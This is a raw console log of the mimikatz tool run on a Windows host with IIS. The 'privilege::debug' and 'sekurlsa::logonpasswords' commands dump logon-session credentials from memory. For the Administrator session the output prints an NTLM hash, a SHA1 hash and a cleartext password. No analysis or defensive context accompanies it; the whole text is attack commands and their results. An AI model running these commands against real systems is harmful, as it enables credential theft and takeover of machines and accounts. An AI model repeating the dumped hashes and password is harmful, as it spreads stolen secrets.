.#####.   mimikatz 2.1 (x64) built on Aug 22 2016 00:57:48
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:35
SID               : S-1-5-17
	msv :
	tspkg :
	wdigest :
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :
	ssp :
	credman :

Authentication Id : 0 ; 22955 (00000000:000059ab)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:28
SID               :
	msv :
	tspkg :
	wdigest :
	kerberos :
	ssp :
	credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : XS1223132628156$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:32
SID               : S-1-5-20
	msv :
	tspkg :
	wdigest :
	 * Username : XS1223132628156$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :
	 * Username : xs1223132628156$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:32
SID               : S-1-5-19
	msv :
	tspkg :
	wdigest :
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 251438 (00000000:0003d62e)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : XS1223132628156
Logon Server      : XS1223132628156
Logon Time        : 2016/12/23 14:00:18
SID               : S-1-5-21-3928998137-4288194100-1088784815-500
	msv :
	 [00010000] CredentialKeys
	 * NTLM     : 3fed74fad97a86532514a8f2db664a6b
	 * SHA1     : c1bbc214a0294cd97829343a16cbc3dd20b017b3
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : XS1223132628156
	 * NTLM     : 3fed74fad97a86532514a8f2db664a6b
	 * SHA1     : c1bbc214a0294cd97829343a16cbc3dd20b017b3
	tspkg :
	wdigest :
	 * Username : Administrator
	 * Domain   : XS1223132628156
	 * Password : 9bed746c13
	kerberos :
	 * Username : Administrator
	 * Domain   : XS1223132628156
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 131103 (00000000:0002001f)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:59
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
	msv :
	tspkg :
	wdigest :
	 * Username : XS1223132628156$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :
	ssp :
	credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : XS1223132628156$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2016/12/23 13:58:28
SID               : S-1-5-18
	msv :
	tspkg :
	wdigest :
	 * Username : XS1223132628156$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :
	 * Username : xs1223132628156$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :
	credman :

mimikatz(commandline) # exit
Bye!